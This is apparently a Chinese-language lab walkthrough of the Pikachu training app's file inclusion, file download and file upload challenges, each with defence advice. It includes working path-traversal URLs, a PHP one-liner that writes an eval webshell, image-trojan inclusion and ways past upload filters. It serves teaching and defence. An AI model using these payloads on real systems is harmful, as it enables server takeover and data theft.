目录
一、File Inclusion(文件包含漏洞)
1.概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
- require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
- include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
- include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
- require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
这些文件包含函数,这些函数在代码设计中被经常使用到。
漏洞原因
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.1本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
1.2远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
如何防御
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历
3、php版本升级,防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件
6、做好管理员权限划分,做好文件的权限管理
2. File Inclusion(local)本地
进入关卡是一个下拉框,让我们选NBA球星,我们选择Kobe,弹出来图片和人物简介。
URL
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
看到URL包含了一个文件file1.php,可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞。
我们尝试其他的NBA球星,发现分别是file2.php----file5.php
1.1读取隐藏文件
既然这样,我们用bp跑一下吧
爆破2这个位置
字典用6-100
把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file14.php、file100.php
file6.php包含用户名和密码的隐藏文件
file7.php返回了报错,file14.php和file100.php都是一样的报错信息,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
得出来路径 D:\Users\phpstudy_pro\WWW\pikachu\vul\fileinclude
1.2读取不同文件夹的文件
我们上传一个txt格式的php代码
因为name那不是file6.php的路径(其实在include文件中),所以使用../用来返回上一层目录。
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../kiss.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
1.3读取系统文件
windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为C:/../../../../windows/win.ini,代入url中组成payload:
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=C:/../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
1.4结合文件上传getshell
在pikachu Unsafe Fileupload 不安全的文件上传的 getimagesize关卡,上传了图片马,该图片马被重命名为41634263ae58e27421b852355994.jpg,其内容包含下图所示的一句话木马。
伪造一个图片.jpg
文件上传w.jpg,回显部分路径和新生成的图片文件名
结合文件包含的目录 得出payload:
127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/12/30/64272863ae5dff2699f401247946.jpg&submit=提交查询
文件包含url访问一下
用蚁剑连接
连接成功!!!
3.File Inclusion(remote)远程
在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
url中把include()函数的完整参数给出来了
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
远程包含http试一下
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=https://www.csdn.net/&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径.
写一个生成shell得一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?> '); ?>
虽然什么没发生
看文件路径,生成shell.php
把url的shell.txt改为shell.php
连接成功!!!
二、Unsafe file download(文件下载)
1.概述
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
漏洞原理
给用户提供了一个下载的功能,并能接收相关的参数变量
开发时候,使用了读去文件的相关函数
对前端用户读取文件请求,没有进行相应的控制或控制不严(限制、校验)
能输出请求文件的内容,提供给前端下载
漏洞危害
可以下载服务器的任意文件:
-
获得网站web源码,再对代码进行审计,以获得更多的漏洞
-
获得网站、服务器、系统、数据库等中间件配置文件
-
获得应用于系统配置文件
-
对内网的信息进行一个探测
-
下载各种.log文件,并寻找后台地址、文件上传点等地方
防御
- 净化数据:对用户传过来的文件名参数进行统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
- 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生,例如ibm的websphere的任意文件下载漏洞,需更新其中间件的版本可修复。
- 要下载的文件地址保存至数据库中。
- 文件路径保存至数据库,让用户提交文件对应ID下载文件。
- 用户下载文件之前需要进行权限判断,open_basedir 中可以设置访问权限
- 文件放在web无法直接访问的目录下。
- 将.过滤,不允许提供目录遍历服务。
- 公开文件可放置在web应用程序下载目录中通过链接进行下载。
2.unsafedownload
点击头像下载图片
直接下载了,也没有跳转,url也没有任何变化。
右键 查看网页源代码
通过球员名称快速定位到相关代码
类似 <a href="execdownload.php?filename=kb.png">科比.布莱恩特</a>对应的就是文件下载的点
把execdownload.php?filename=和当前网页路径组装起来,后面接上我们想要的文件路径:
payload:127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../123.txt
如果使用绝对路径是不可以的:
127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=D:\Users\phpstudy_pro\WWW\pikachu\vul\unsafedownload/123.txt
原因是第10行传入的参数前面是拼接了download目录
删除download/
在次用绝对路径访问就可以下载了
三、Unsafe file upload(文件上传)
1.概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
1.黑盒查找
文件后台
进入网站后台不一定能获得网站权限,可以从后台获取网站权限
会员中心
通过图片上传
文件扫描
使用工具扫描出后台路径
2.白盒查找
通过代码分析到上传漏洞
查找文件上传功能
文件上传如何防御
将上传文件与web服务隔离
使用白名单过滤、限制上传文件类型
文件上传路径设置为不可执行权限
检查文件上传路径
自带函数检测,自定义函数检测
图片渲染 对上传文件重命名
对文件内容压缩,重新生成文件内容 检查文件内容
文件上传漏洞绕过方式
文件包含绕过
前端限制绕过
文件扩展名绕过
ashx上传绕过
特殊文件名绕过
00截断绕过上传
htaccess解析漏洞
突破MIME限制上传
解析漏洞绕过
条件竞争绕过
CONTENT-LENGTH绕过
2.客户端check
在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。这种验证方式很不安全,很容易被绕过。可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过。
只允许上传图片。
写个一句话木马
这里直接禁用浏览器的js ,或者bp抓包。
禁用浏览器js(火狐的插件没有搜到)
只能用这种方法了
url输入about:config
搜索框中输入JavaScript,找到javascript.enabled将其转换为false
在次上传php文件,发现直接上传成功。
上传并用bp抓包
bp抓包情况
把.jpg文件改为.php
上传成功,得到文件保存路径为uploads/w.php(很多实际情况并不会返回文件保存的路径,需要自己爆破或猜解获得)
访问一下路径,能够查看到我们的一句话木马文件头GIF89,证明可以成功访问。
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/w.php
用蚁剑连接
连接成功!!!
代码
F12查看,虽然是白名单过滤,但是放在前端就没啥用了。。。
3.服务端check
服务端会对上传的数据中的content-type字段进行检测,判断其是否为指定的文件格式。
上传一个php文件,弹出格式jpg,jpeg,png
上传jpg文件,也是同样的上传路径
此时用蚁剑是连接不上jpg文件的
抓包看一下,关键包在这
我们要把.jpg改为.php ,把image/ 必须是jpg,jpeg,png这个三个格式,否则不会上传成功。
image/jpeg
image/php,不会成功
image/php,上传文件.jpg,同样也不会成功
蚁剑连接
代码
MIME类型 ,在HTTP request报文中MIME类型在Content-Type字段体现。
$mime是一个包含合法MIME类型的数组,也就是MIME类型白名单;然后将这个白名单作为参数传入了upload_sick()函数进行服务器端的检测。
upload_sick()函数的定义如下,该函数不安全之处在于两点:
(1)仅检查了MIME类型,可以通过抓包修改绕过。
(2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。
整个关卡还有一处不安全,就是回显了文件保存路径。
成功上传webshell,并且知道文件保存路径后,攻击者就可以连接shell了。
4.getimagesize()
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
上传一个php文件,后缀好像过滤为空了。
这样的话bp抓包,改包应该也不可以了,试一下吧
果然不行
由于只能上传图片格式,所以伪造图片头加上一句话木马是可以的,但是不能解析出php文件,还是不可以运行木马php文件,只能结合文件包含漏洞利用了。在上面的文件包含漏洞实现过。
代码
这关是三关里面最安全的了,不能上传php文件,需要结合文件包含漏洞(或者中间件解析漏洞),但是还不够安全。
不够安全的最主要原因是上传的文件中还是可以包含php代码。
本关首先指定了两个白名单,$ _type是文件名后缀白名单,$_mime是MIME type白名单,然后将两个白名单伙同一些其他参数一起送入upload()函数
upload()函数定义如下,主要的过滤动作有:
(1)123~127行,用文件名后缀白名单$type过滤后缀名不在白名单中的文件
(2)130~134行,用MIME type白名单$mime过滤MIME type不在白名单中的文件
(3)136~140行,用getimagesize()函数来判断是否是真实图片(可以通过图片马绕过)
(4)157~161行,修改文件名为随机值(本来是防止攻击者猜测文件路径的,但是由于网页上回显了文件保存路径,所以这个重命名的步骤显得没有什么用了。)